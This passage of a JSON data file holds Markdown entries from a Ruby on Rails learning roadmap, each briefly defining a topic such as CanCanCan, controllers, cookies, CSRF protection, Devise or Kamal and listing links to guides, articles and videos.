    "content": "# CanCanCan\n\nCanCanCan is an authorization library for Ruby on Rails applications that restricts what resources a given user is allowed to access. It provides a simple and flexible way to define abilities, which represent the permissions a user has on different resources, and then checks these abilities within your controllers and views to control access and display appropriate content. This gem helps in defining and managing user roles and permissions, ensuring that only authorized users can perform specific actions.\n\nVisit the following resources to learn more:\n\n- [@opensource@cancancan](https://github.com/CanCanCommunity/cancancan)\n- [@article@Rails 7 Authorization with Cancancan Gem](https://medium.com/@learnwithalfred/rails-7-authorization-with-cancancan-gem-f3a29c01b3bd)\n- [@article@Authorization Gems in Ruby: Pundit and CanCanCan](https://blog.appsignal.com/2023/03/22/authorization-gems-in-ruby-pundit-and-cancancan.html)\n- [@video@Authorization on Rails (CanCanCan Demonstration)](https://www.youtube.com/watch?v=cTYu-OjUgDw)\n- [@video@Ruby On Rails - Authorization Using CanCanCan](https://www.youtube.com/playlist?list=PL6HtmRWwDtYMuIDt4syZdGXWFPZrAWvm_)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/capybara@JCQT_3B9hu8QkJaoDQK_V.md",
    "content": "# Capybara\n\nCapybara is a Ruby gem that simplifies acceptance testing for web applications. It simulates how a user interacts with your application through a browser, allowing you to write tests that verify the behavior of your application from an end-user perspective. It provides a clean and easy-to-use API for interacting with elements on a web page, such as clicking links, filling in forms, and asserting the presence of specific content.\n\nVisit the following resources to learn more:\n\n- [@opensource@capybara](https://github.com/teamcapybara/capybara)\n- [@article@Integration Testing Ruby on Rails with Minitest and Capybara](https://semaphore.io/community/tutorials/integration-testing-ruby-on-rails-with-minitest-and-capybara)\n- [@article@A Rails testing “hello world” using RSpec and Capybara](https://www.codewithjason.com/rails-testing-hello-world-using-rspec-capybara/)\n- [@video@End to end testing Rails with capybara](https://www.youtube.com/watch?v=ggnGOBe2A3o)\n- [@video@System Tests With Capybara and Selenium | Ruby On Rails 7 Tutorial](https://www.youtube.com/watch?v=2TInLtG8dj4)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/conditions@NgMAdAtdJFd3Pha4nwiLE.md",
    "content": "# Active Record Conditions\n\nActive Record conditions are used to specify criteria for retrieving data from a database table. They allow you to filter records based on specific attributes and values, enabling you to retrieve only the data that meets your desired requirements. These conditions are typically expressed using SQL-like syntax or through a more Ruby-friendly syntax provided by Active Record.\n\nVisit the following resources to learn more:\n\n- [@official@Conditions](https://guides.rubyonrails.org/active_record_querying.html#conditions)\n- [@official@Overriding Conditions](https://guides.rubyonrails.org/active_record_querying.html#overriding-conditions)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/config@Vr0UKX1C3DSVxZjj-Ls6L.md",
    "content": "# Config Directory\n\nThe `config` directory in a Rails application houses configuration files that control various aspects of the application's behavior. These files define database connections, routing rules, environment-specific settings, and other application-wide configurations, allowing developers to customize the application without modifying the core code.\n\nVisit the following resources to learn more:\n\n- [@official@Configuring Rails Applications](https://guides.rubyonrails.org/configuring.html)\n- [@article@Setting Up and Managing Databases in Ruby on Rails](https://bhartee-tech-ror.medium.com/setting-up-and-managing-databases-in-ruby-on-rails-72885f9f1164)\n- [@article@The Rails database.yml File](https://dev.to/andreimaxim/the-rails-databaseyml-file-4dm9)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/constraints@H2lhyWJ2aErIC6UsIag_p.md",
    "content": "# Routing Constraints\n\nRouting constraints allow you to restrict which routes are matched based on specific criteria. These criteria can include the request's subdomain, IP address, HTTP headers, or any other attribute of the request. By adding constraints, you can create more precise and targeted routes, ensuring that requests are handled by the correct controller action.\n\nVisit the following resources to learn more:\n\n- [@official@Constraints](https://guides.rubyonrails.org/routing.html#http-verb-constraints)\n- [@official@Advanced Constrains](https://guides.rubyonrails.org/routing.html#advanced-constraints)\n- [@article@How to Use Rails Routing Constraints: Two Use Cases with Code](https://8thlight.com/insights/how-to-use-rails-routing-constraints-2-use-cases-with-code)\n- [@article@Rails advanced routing constraints](https://thoughtbot.com/blog/rails-advanced-routing-constraints)\n- [@video@Advanced Rails Routing Constraints: Domain, Subdomain, Authentication, and more | Preview](https://www.youtube.com/watch?v=bauG5ibI9Xc)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/controller-actions@Cm0tEnjeqQzQORowsdEjk.md",
    "content": "# Controller Actions\n\nController actions are methods within a Rails controller that handle specific requests from users or other parts of the application. Each action typically corresponds to a specific route and performs a task, such as displaying a form, creating a new record, updating an existing record, or deleting a record. These actions interact with models to retrieve or manipulate data and then render a view to display the results to the user.\n\nVisit the following resources to learn more:\n\n- [@official@Action Controller Overview](https://guides.rubyonrails.org/action_controller_overview.html)\n- [@article@Introduction to Controllers in Rails](https://codesignal.com/learn/courses/ruby-on-rails-basics/lessons/controllers-in-rails)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/controller-callbacks-filters@oHdgQvPSEs-l3EzNRd8q2.md",
    "content": "# Controller Callbacks\n\nController callbacks, often referred to as filters, are methods that are executed at specific points in the lifecycle of a controller action. They allow you to run code before, after, or around a controller action, providing a way to encapsulate common logic, such as authentication, authorization, or data preparation, and keep your controller actions clean and focused.\n\nVisit the following resources to learn more:\n\n- [@official@Controller Callbacks](https://guides.rubyonrails.org/action_controller_overview.html#controller-callbacks)\n- [@article@A Simple Guide to before_action Callbacks in Ruby on Rails](https://medium.com/@havanurkara55/a-simple-guide-to-before-action-callbacks-in-ruby-on-rails-fb068fb533d7)\n- [@article@Rails \"around_action\" : a less used callback](https://dev.to/moltenhead/rails-aroundaction-a-less-used-callback-10cf)\n- [@video@ActionController callbacks in Rails](https://www.youtube.com/watch?v=SnRq1_VXVVc)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/controllers@HDt5AAg9H4n8wh3uACudP.md",
    "content": "# Controllers\n\nControllers are the intermediary between the user, the view, and the model. They receive requests from the user (often through routes), process the request by interacting with the model to retrieve or manipulate data, and then determine which view to render to display the results to the user. Essentially, they manage the application's workflow and logic.\n\nVisit the following resources to learn more:\n\n- [@official@Action Controller Overview](https://guides.rubyonrails.org/action_controller_overview.html)\n- [@article@Controllers](https://www.theodinproject.com/lessons/ruby-on-rails-controllers)\n- [@article@Ruby on Rails Controller Patterns and Anti-patterns](https://blog.appsignal.com/2021/04/14/ruby-on-rails-controller-patterns-and-anti-patterns.html)\n- [@article@How I keep my Rails controllers organized](https://www.codewithjason.com/keep-rails-controllers-organized/)\n- [@video@Controllers - Ruby on Rails - The Odin Project](https://www.youtube.com/watch?v=2isr-7DdoYE)\n- [@video@Fun With The Controller - Ruby On Rails Friend List App #11](https://www.youtube.com/watch?v=SErZhMh2o30)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/cookies@JAfp4HnSEfxZ33qhVrNvk.md",
    "content": "# Cookies in Rails Controllers\n\nCookies are small pieces of data that a server sends to a user's web browser. The browser may store it and send it back with later requests to the same server. Rails controllers provide a convenient way to set, read, and delete cookies, allowing you to maintain state between requests, such as remembering user preferences or tracking session information.\n\nVisit the following resources to learn more:\n\n- [@official@Cookies](https://guides.rubyonrails.org/action_controller_overview.html)\n- [@article@The Complete Guide to Working With Cookies in Rails](https://www.writesoftwarewell.com/how-http-cookies-work-rails/)\n- [@article@Mastering Sessions and Cookies in Rails: A Comprehensive Guide](https://medium.com/@carriekarft/mastering-sessions-and-cookies-in-rails-a-comprehensive-guide-0446422d7b22)\n- [@article@Cookies & Sessions in Rails](https://dev.to/matthewkohn/cookies-sessions-in-rails-54b8)\n- [@video@Rails 6 for Beginners Part 15: Login with Session Cookies](https://www.youtube.com/watch?v=IzbQAj_tcfI)\n- [@video@Rails Cookies and Session](https://www.youtube.com/watch?v=iOR-9fMMmLM)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/create-an-app@4SiV-sW-zg_HtL2tPc90-.md",
    "content": "# Creating a New Rails Application\n\nCreating a new Rails application is the initial step in starting any Rails project. It involves using the `rails new` command, which sets up the basic directory structure, configuration files, and dependencies needed for a functional Rails application. This process bootstraps your project with a default set of tools and conventions, allowing you to quickly begin building your web application."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/creating-controllers@tSdMmh2SG1Qul5PWCaCKa.md",
    "content": "# Creating Controllers\n\nControllers are the logical center of your application, responsible for receiving specific requests from the user, interacting with the model to retrieve or save data, and then rendering a view to present that data back to the user. Creating a controller involves defining a Ruby class that inherits from `ApplicationController` and defining methods (called actions) within that class to handle specific routes and user interactions. These actions orchestrate the application's response to user input.\n\nVisit the following resources to learn more:\n\n- [@official@Creating a Controller](https://guides.rubyonrails.org/action_controller_overview.html#creating-a-controller)\n- [@article@Introduction to Controllers in Rails](https://codesignal.com/learn/courses/ruby-on-rails-basics/lessons/controllers-in-rails)\n- [@video@Controllers - Ruby on Rails - The Odin Project](https://www.youtube.com/watch?v=2isr-7DdoYE)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/creating-models@oxEooPuoRqxLreJSA4QIh.md",
    "content": "# Creating Models\n\nModels in Ruby on Rails represent the data and business logic of your application. They are Ruby classes that inherit from `ApplicationRecord` and typically correspond to tables in your database. Creating a model involves defining its attributes (columns in the database table) and any associated validations, callbacks, and relationships with other models. This process allows you to interact with your database in an object-oriented way, making data management more intuitive and efficient.\n\nVisit the following resources to learn more:\n\n- [@official@Creating Active Record Models](https://guides.rubyonrails.org/active_record_basics.html#creating-active-record-models)\n- [@article@Rails Models](https://www.theodinproject.com/lessons/ruby-on-rails-active-record-basics#rails-models)\n- [@article@Ruby on Rails - Models](https://www.tutorialspoint.com/ruby-on-rails/rails-models.htm)\n- [@video@Ep 4. Active Record explained | Rails New Tutorial with Typecraft](https://www.youtube.com/watch?v=n0TPEsKE9v0)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/csrf-protection@VlQis-Wkahd1E1aM1ZP2E.md",
    "content": "# CSRF Protection\n\nCross-Site Request Forgery (CSRF) is a web security vulnerability that allows an attacker to trick a user's browser into executing unwanted actions on a trusted site when the user is authenticated. CSRF protection involves adding a unique, unpredictable token to each form submitted by the user. This token is then verified on the server-side to ensure that the request originated from the legitimate application and not a malicious source."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/customizing-routes@3NTsftFbqkG5s4xoU_q6E.md",
    "content": "# Customizing Routes\n\nCustomizing routes allows developers to define specific URL patterns and map them to particular controller actions. This provides flexibility in designing user-friendly and SEO-optimized URLs, deviating from the default Rails conventions. By modifying the `routes.rb` file, you can create custom routes that cater to the unique needs of your application, including specifying HTTP methods, defining route parameters, and using regular expressions for pattern matching.\n\nVisit the following resources to learn more:\n\n- [@official@Customizing Resourceful Routes](https://guides.rubyonrails.org/routing.html#customizing-resourceful-routes)\n- [@article@How to Write Custom Routes in Rails](https://levelup.gitconnected.com/how-to-write-custom-routes-in-rails-872df2ca4d39)\n- [@article@Custom routes in rails](https://medium.com/@leviyitzchokdeutsch/custom-routes-in-rails-f790e5940e22)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/data-types@6aukVg4KBYPW0FVtdAvS5.md",
    "content": "# Data Types in Rails Models\n\nData types define the kind of information a database column can store. When creating Rails models, you specify data types for each attribute, which then translates into the corresponding column type in your database table. These types include integers, strings, booleans, dates, and more, ensuring data integrity and efficient storage.\n\nVisit the following resources to learn more:\n\n- [@official@ActiveRecord::Type](https://api.rubyonrails.org/classes/ActiveRecord/Type.html)\n- [@article@Rails ActiveRecord Data Types](https://dev.to/asyraf/rails-activerecord-data-types-32ip)\n- [@article@List of Rails data types for ActiveRecord migrations](https://www.jdeen.com/blog/list-of-rails-data-types-for-activerecord-migrations)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/databases@QdWCXUAfVXiP6RQ6VyDkX.md",
    "content": "# Database\n\nDatabases are structured collections of data, organized for efficient storage, retrieval, and management. Active Record is Rails' ORM (Object-Relational Mapping) layer, providing an interface between your Ruby code and the database. It allows you to interact with database tables as if they were Ruby objects, simplifying database operations like creating, reading, updating, and deleting records.\n\nVisit the following resources to learn more:\n\n- [@official@Configuring a Database](https://guides.rubyonrails.org/configuring.html#configuring-a-database)\n- [@official@Multiple Databases with Active Record](https://guides.rubyonrails.org/active_record_multiple_databases.html)\n- [@article@Setting Up and Managing Databases in Ruby on Rails](https://bhartee-tech-ror.medium.com/setting-up-and-managing-databases-in-ruby-on-rails-72885f9f1164)\n- [@article@The Rails database.yml File](https://dev.to/andreimaxim/the-rails-databaseyml-file-4dm9)\n- [@video@How to Configure Multiple Databases with Rails](https://www.youtube.com/watch?v=aOsffm22T8I)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/db@N2pXb4eqXrBdR495zMqGY.md",
    "content": "# db\n\nThe `db` directory in a Rails application houses everything related to your database. It contains files for database schema definition, migrations, and seed data. This directory is essential for managing and evolving your application's data structure over time."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/debug@SFGRkOuEMFxOJ4UU_Ti8L.md",
    "content": "# debug\n\nThe `debug` helper in Ruby on Rails provides a way to display the contents of a variable or object directly within your views. It's primarily used for debugging purposes, allowing you to quickly inspect data structures and identify issues in your code during development. When used, it outputs the object's information in a readable format within `<pre>` tags on the rendered HTML page, making it easy to examine its properties and values.\n\nVisit the following resources to learn more:\n\n- [@official@debug](https://guides.rubyonrails.org/debugging_rails_applications.html#debug)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/debugging@ELvMdjJZGl_k_0Qsi_vtm.md",
    "content": "# Debugging\n\nDebugging is the process of identifying and removing errors (bugs) from software. It involves systematically finding the source of a problem, understanding why it's happening, and then implementing a solution to fix it. Effective debugging relies on using tools and techniques to inspect code, track down unexpected behavior, and verify that the fix resolves the issue without introducing new problems.\n\nVisit the following resources to learn more:\n\n- [@official@Debugging Rails Applications](https://guides.rubyonrails.org/debugging_rails_applications.html#view-helpers-for-debugging)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/deployment@Ia5mN1j_lMCg0vt2z1_jI.md",
    "content": "# Deployment\n\nDeployment is the process of making your Ruby on Rails application accessible to users on a live server. It involves configuring the server environment, transferring your application code, setting up databases, and ensuring the application runs smoothly and reliably in a production setting. This includes handling aspects like web server configuration, application server setup, database connections, and ongoing maintenance.\n\nVisit the following resources to learn more:\n\n- [@official@Deploying to Production](https://guides.rubyonrails.org/getting_started.html)\n- [@video@Deploying with Kamal 2.0 | Rails 8 Unpacked](https://www.youhttps://www.youtube.com/watch?v=sPUk9-1WVXItube.com/watch?v=sPUk9-1WVXI)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/devise@deKkp0TGU3Dj0zxUn9VI4.md",
    "content": "# Devise\n\nDevise is a flexible authentication solution for Rails applications. It provides a complete MVC solution based on Warden that handles user registration, login, password recovery, and other common authentication tasks. It uses a modular approach, allowing developers to choose and configure the specific features they need for their application.\n\nVisit the following resources to learn more:\n\n- [@opensource@devise](https://github.com/heartcombo/devise)\n- [@article@An Introduction to Devise for Ruby on Rails](https://blog.appsignal.com/2023/07/12/an-introduction-to-devise-for-ruby-on-rails.html)\n- [@article@How To Set Up User Authentication with Devise in a Rails 7 Application](https://www.digitalocean.com/community/tutorials/how-to-set-up-user-authentication-with-devise-in-a-rails-7-application)\n- [@video@Build a Blog with Rails Part 10: Authentication with Devise](https://www.youtube.com/watch?v=dTpyInyvQ2Y)\n- [@video@This New Devise API Gem Makes User Auth So Simple! | Ruby On Rails 7 Tutorial](https://www.youtube.com/watch?v=sLcLwVCBU0c)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/dynamic-finders@p8bkCtZkgdkh3G_d7fvmt.md",
    "content": "# Dynamic Finders\n\nDynamic finders provide a convenient way to query your database based on specific attributes of your model. They allow you to create methods on the fly that search for records based on the values of those attributes, eliminating the need to write custom query methods for simple attribute-based searches. This feature simplifies data retrieval and makes your code more readable."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/engines@D_LyvlDwKSzvnSWCpR00D.md",
    "content": "# Engines\n\nEngines are like mini-applications that can be plugged into a larger Rails application. They provide a way to encapsulate specific functionality, such as a blog, a forum, or an e-commerce platform, into a reusable component. This allows developers to create modular and maintainable applications by isolating concerns and promoting code reuse across different projects."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/erb-templates@CX-9Ii3e9rrokUTF0_hI5.md",
    "content": "# ERB Templates\n\nERB (Embedded Ruby) templates are a core component of Rails views, allowing you to embed Ruby code directly within your HTML markup. This enables dynamic content generation, where data from your Rails application can be seamlessly integrated into the presentation layer. ERB templates use special tags to denote Ruby code, which is then executed when the view is rendered, producing the final HTML output sent to the user's browser.\n\nVisit the following resources to learn more:\n\n- [@official@ERB](https://guides.rubyonrails.org/action_view_overview.html#erb)\n- [@official@Layouts and Rendering in Rails](https://guides.rubyonrails.org/layouts_and_rendering.html)\n- [@article@Clean Code in ERB Templates: Ruby on Rails Basics](https://medium.com/nyc-ruby-on-rails/clean-code-in-erb-templates-ruby-on-rails-basics-374ad48dd95e)\n- [@video@Rails Application Templates](https://www.youtube.com/watch?v=ucskVEiN8J8)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/factory-bot@OLdWSGSwYnggN14BdH9nN.md",
    "content": "# Factory Bot\n\nFactory Bot is a library for creating Ruby objects for testing purposes. It provides a simple and clean syntax for defining factories, which are blueprints for creating instances of your models with pre-defined attributes. This helps to avoid repetitive setup code in your tests and ensures consistent test data.\n\nVisit the following resources to learn more:\n\n- [@opensource@factory_bot_rails](https://github.com/thoughtbot/factory_bot_rails)\n- [@article@FactoryBot for Rails testing](https://www.honeybadger.io/blog/factorybot-for-rails-testing-md/)\n- [@article@How I set up Factory Bot on a fresh Rails project](http://codewithjason.com/set-factory-bot-fresh-rails-project/)\n- [@article@My Introduction To Factory Bot](https://medium.com/@mariacristina.simoes/my-introduction-to-factory-bot-88949467a7e9)\n- [@video@Install Factory Bot with Ruby on Rails](https://www.youtube.com/watch?v=vQQKIyAHPI4)\n- [@video@Factory Bot Testing with Active Storage and Devise | Ruby on Rails 7 Tutorial](https://www.youtube.com/watch?v=7JdyQEcZ7F8)\n- [@video@Factory Bot Tutorial for Beginners](https://www.youtube.com/watch?v=ef82mR9Mm8Q)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/form-elements@GGR8jAQNggJc92FcvtL4O.md",
    "content": "# Form Elements\n\nForm elements are the individual components within an HTML form that allow users to input data. These elements include text fields, text areas, checkboxes, radio buttons, select boxes, and buttons, each serving a specific purpose in collecting different types of user information. They are essential for creating interactive web applications where users can submit data to the server.\n\nVisit the following resources to learn more:\n\n- [@official@Helpers for Generating Form Elements](https://guides.rubyonrails.org/form_helpers.html#helpers-for-generating-form-elements)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/form-validation@rg-48lLxIaKdjIb9icB72.md",
    "content": "# Form Validation\n\nForm validation is the process of ensuring that the data submitted through a form meets specific requirements before it's saved to the database. This helps prevent errors, maintain data integrity, and provide a better user experience. Rails provides built-in methods and helpers to easily define and enforce these validation rules directly within your models, such as checking for presence, format, uniqueness, or custom criteria.\n\nVisit the following resources to learn more:\n\n- [@official@Active Record Validations](https://guides.rubyonrails.org/active_record_validations.html#performing-custom-validations)\n- [@article@Keeping it Clean — Data Validation with Ruby on Rails](https://medium.com/@jennyjean8675309/keeping-it-clean-data-validation-with-ruby-on-rails-a0c6190f1b8e)\n- [@video@Rails Custom Validations](https://www.youtube.com/watch?v=nPS-dalL_hQ)\n- [@video@Nested Attributes & Validation In Ruby On Rails 7](https://www.youtube.com/watch?v=Fpu0rc3stq4)\n- [@video@Rails 6 for Beginners Part 12: Validations](https://www.youtube.com/watch?v=l-Jv5vMjB70&t=209s)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/form_for@EctqfKE5AAqByipGIv0Wa.md",
    "content": "# form_for\n\n`form_for` is a helper method in Ruby on Rails that simplifies the creation of HTML forms. It automatically generates the necessary HTML tags and attributes for creating forms that are bound to a specific model object. This helper streamlines the process of building forms for creating, updating, and managing data within your Rails application.\n\nVisit the following resources to learn more:\n\n- [@official@Action View Form Helpers](https://guides.rubyonrails.org/form_helpers.html)\n- [@official@form_for](https://api.rubyonrails.org/v8.1.2/classes/ActionView/Helpers/FormHelper.html#method-i-form_for)\n- [@article@I Have a Form_For That! (Rails Forms)](https://medium.com/@thorntonbrenden/i-have-a-form-for-that-rails-forms-42345b69c31)\n- [@article@Rails form_for Helpers Under the Hood](https://smitham50.medium.com/rails-form-for-helpers-under-the-hood-fdf98c7bd3d1)\n- [@video@Rails 5.2 - Blog with Comments and Users Nested Resources, form_for and much more](https://www.youtube.com/watch?v=CBn_zu-2mtk)\n- [@video@Understanding Rails Forms](https://www.youtube.com/watch?v=28wOvW5x7HY)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/form_with@EWMC98NdSnblHBD0U3Ty2.md",
    "content": "# form_with\n\n`form_with` is a helper method used to create HTML forms. It simplifies the process of generating the necessary HTML tags for form elements, handling attributes like the form's action URL, HTTP method (GET, POST, PUT, PATCH, DELETE), and CSRF protection. It's the recommended way to build forms in Rails 5.1 and later, offering a more streamlined and flexible approach compared to older form helpers.\n\nVisit the following resources to learn more:\n\n- [@official@Action View Form Helpers](https://guides.rubyonrails.org/form_helpers.html)\n- [@official@form_with](https://api.rubyonrails.org/v8.1.2/classes/ActionView/Helpers/FormHelper.html#method-i-form_with)\n- [@article@Form helpers: form_with](https://www.theodinproject.com/lessons/ruby-on-rails-form-basics#form-helpers-formwith)\n- [@video@Improving form_with Errors in Rails | Preview](https://www.youtube.com/watch?v=mSSO_lT9MeA)\n- [@video@Ruby on Rails Forms With Hotwire](https://www.youtube.com/watch?v=-n7IbUFKjoM)\n- [@video@Understanding Rails Forms](https://www.youtube.com/watch?v=28wOvW5x7HY)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/gemfile@t8yTDpN4kNuW6ZhHnum2X.md",
    "content": "# Gemfile\n\nThe Gemfile is a file in the root directory of a Ruby on Rails application that specifies the gem dependencies required for the project. It uses Ruby's syntax to list the gems and their versions, allowing Bundler to manage and install the correct versions of each gem. This ensures that the application has all the necessary libraries to run properly and consistently across different environments."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/helpers@lnr8HfS8mIcE4Ef-bXQbO.md",
    "content": "# Helpers\n\nHelpers in Rails are methods that you can use in your views to encapsulate complex logic, format data, or generate HTML. They promote code reusability and keep your views clean and readable by moving presentation-related code out of the templates. Helpers can be defined in application-wide helpers or controller-specific helpers.\n\nVisit the following resources to learn more:\n\n- [@official@Action View Helpers](https://guides.rubyonrails.org/action_view_helpers.html)\n- [@article@A Guide to Rails View Helpers](https://blog.appsignal.com/2023/02/01/a-guide-to-rails-view-helpers.html)\n- [@article@How to Use Rails Helpers (Complete Guide)](https://www.rubyguides.com/2020/01/rails-helpers/)\n- [@video@Rails helpers: How to use them right](https://www.youtube.com/watch?v=n0UhaSI54As)\n- [@video@How to Use Rails Helper Methods](https://www.youtube.com/watch?v=jASswaHkCbk)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/hotwire@2IEdP3YjzCf150UpGao42.md",
    "content": "# Hotwire\n\nHotwire is an alternative approach to building modern web applications by sending HTML over the wire, instead of complex JSON APIs. It allows you to build rich, dynamic user interfaces without writing large amounts of JavaScript. By leveraging server-rendered HTML and a lightweight JavaScript framework, Hotwire simplifies the development process and improves performance.\n\nVisit the following resources to learn more:\n\n- [@official@Hotwire](https://hotwired.dev/)\n- [@article@Turbo Rails Tutorial](https://www.hotrails.dev/turbo-rails)\n- [@article@From Zero to Hotwire — Rails 8](https://medium.com/jungletronics/from-zero-to-hotwire-rails-8-e6cd16216165)\n- [@video@Hotwire for Rails](https://www.youtube.com/playlist?list=PLm8ctt9NhMNWy8fC-7g9OC1IJPkYQ_pI7)\n- [@video@Introduction to Hotwire in Ruby on Rails](https://www.youtube.com/watch?v=m_4myBwU2cU)\n- [@video@How to use Hotwire in Rails](https://www.youtube.com/watch?v=Qp6sxgjA-xY)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/how-the-web-works@3YcOhdk9w24f5x0WattyB.md",
    "content": "# How the Web Works\n\nThe web operates through a client-server model where a client (like a web browser) sends a request to a server, and the server processes that request and sends back a response. This interaction typically involves HTTP (Hypertext Transfer Protocol) for communication, URLs (Uniform Resource Locators) to identify resources, and HTML (Hypertext Markup Language) to structure the content displayed in the browser. The server hosts the website's files and logic, while the client interprets and renders the received information for the user."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/inspecting-routes@lLYISr_j0NsE7wkBVvnbM.md",
    "content": "# Inspecting Routes\n\nRails comes with functionalities that allow developers to view all defined routes, their corresponding HTTP methods (GET, POST, PUT, DELETE, etc.), the controller and action they map to, and any route parameters. This is crucial for understanding how URLs are handled within the application and for debugging routing issues. Rails provides tools to easily list and analyze these routes, offering insights into the application's URL structure.\n\nVisit the following resources to learn more:\n\n- [@official@Inspecting Routes](https://guides.rubyonrails.org/routing.html#inspecting-routes)\n- [@article@How to Inspect Rails Routes from the Terminal](https://dpericich.medium.com/how-to-inspect-rails-routes-from-the-terminal-860b1aab1df4)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/introduction@0MKuq69yhj8q6suTQ7fY7.md",
    "content": "# Introduction to Ruby on Rails\n\nRuby on Rails, often shortened to Rails, is a server-side web application framework written in the Ruby programming language. It provides a structure for databases, web services, and web pages, emphasizing the use of convention over configuration (CoC) and the don't repeat yourself (DRY) principles. Rails aims to make web application development easier by providing tools and structures that developers can use to quickly build robust and maintainable web applications."
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/joins@Uz5WseVkPoDJfnKw1FH9a.md",
    "content": "# Joins in Active Record\n\nJoins in Active Record allow you to combine data from multiple database tables based on related columns. This is essential for retrieving information that spans across different tables, such as fetching a user's posts or a product's categories. By specifying the relationships between your models, Active Record simplifies the process of writing complex SQL queries, enabling you to efficiently retrieve and manipulate related data.\n\nVisit the following resources to learn more:\n\n- [@official@Joining Tables](https://guides.rubyonrails.org/active_record_querying.html#joining-tables)\n- [@article@Getting Really Good at Rails :joins](https://medium.com/swlh/getting-really-good-at-rails-joins-93fd5b33fa8e)\n- [@article@Joins](https://medium.com/swlh/getting-really-good-at-rails-joins-93fd5b33fa8e)\n- [@article@Understanding multiple joins in ActiveRecord](https://dev.to/anakbns/multiple-joins-with-activerecord-33j5)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/kamal@ih8oOhO49tg1wUUiusIA-.md",
    "content": "# Kamal\n\nKamal is a deployment tool created by 37signals (the creators of Ruby on Rails) designed to simplify the process of deploying web applications to one or more servers. It focuses on using Docker containers and modern deployment strategies like zero-downtime deployments, making it easier to manage and scale your Rails applications in production environments. It aims to provide a streamlined alternative to more complex deployment solutions.\n\nVisit the following resources to learn more:\n\n- [@official@Kamal](https://kamal-deploy.org/)\n- [@opensource@kamal](https://github.com/basecamp/kamal)\n- [@article@Deploying a Rails 8 app with Kamal](https://community.hetzner.com/tutorials/deploy-rails-8-app-on-hetzner-with-kamal)\n- [@video@https://www.youtube.com/watch?v=sPUk9-1WVXI](https://www.youhttps//www.youtube.com/watch?v=sPUk9-1WVXItube.com/watch?v=sPUk9-1WVXI)\n- [@video@How to Deploy a Rails App With Kamal](https://www.youtube.com/watch?v=9nRY0p2br28)\n- [@video@Absolute Beginners Guide to Deploying Rails 8 to Production (Kamal Tutorial)](https://www.youtube.com/watch?v=tGi3YGGhIGg)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/kaminari@6P7GM12isuv5A_SA3tqNA.md",
    "content": "# Kaminari\n\nKaminari is a Ruby on Rails gem that simplifies the process of adding pagination to your application. It provides an easy-to-use interface for displaying large datasets in manageable chunks, improving performance and user experience by loading only the necessary data for each page. Kaminari integrates seamlessly with ActiveRecord and other ORMs, making it a straightforward solution for paginating data in your Rails applications.\n\nVisit the following resources to learn more:\n\n- [@opensource@kaminari](https://github.com/kaminari/kaminari)\n- [@article@Ruby On Rails Pagination With Kaminari](https://www.dennisokeeffe.com/blog/2022-03-02-ruby-on-rails-pagination-with-kaminari)\n- [@article@Implementing Pagination in Rails with Kaminari](https://devcamp.com/trails/2/campsites/37/guides/implementing-pagination-rails-kaminari)\n- [@video@The Kaminari Gem in Ruby on Rails 7](https://www.youtube.com/watch?v=sHbI0jY8RUs)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/layouts--yield@-bX4iPTO1dt3wLAcFI7nL.md",
    "content": "# Layouts and Yield in Rails Views\n\nLayouts provide a consistent structure for your application's views. They are templates that define the overall look and feel of a page, including elements like headers, footers, and navigation. The `yield` keyword acts as a placeholder within the layout, indicating where the content from individual views should be inserted. This allows you to reuse common elements across multiple pages while still displaying unique content for each.\n\nVisit the following resources to learn more:\n\n- [@article@Structuring Layouts](https://guides.rubyonrails.org/layouts_and_rendering.html#structuring-layouts)\n- [@article@Ruby on Rails - Layouts](https://www.tutorialspoint.com/ruby-on-rails/rails-layouts.htm)\n- [@article@How Layouts Work in Rails](https://railsdesigner.com/rails-layouts/)\n- [@video@How to Use Rails Layouts & Display The Current Action Name](https://www.youtube.com/watch?v=KKg63bQocmw)"
  },
  {
    "path": "src/data/roadmaps/ruby-on-rails/content/log-levels@1KGuLLxZ-2ghim7ge2ACN.md",
    "content": "# Log Levels\n\nLog levels in Rails are categories that indicate the severity of a log message. They help you filter and prioritize information when debugging or monitoring your application. Common log levels, in increasing order of severity, are: `debug`, `info`, `warn`, `error`, and `fatal`. Each level allows you to control the amount of detail recorded, from verbose debugging information to critical errors that require immediate attention."
  },
  {
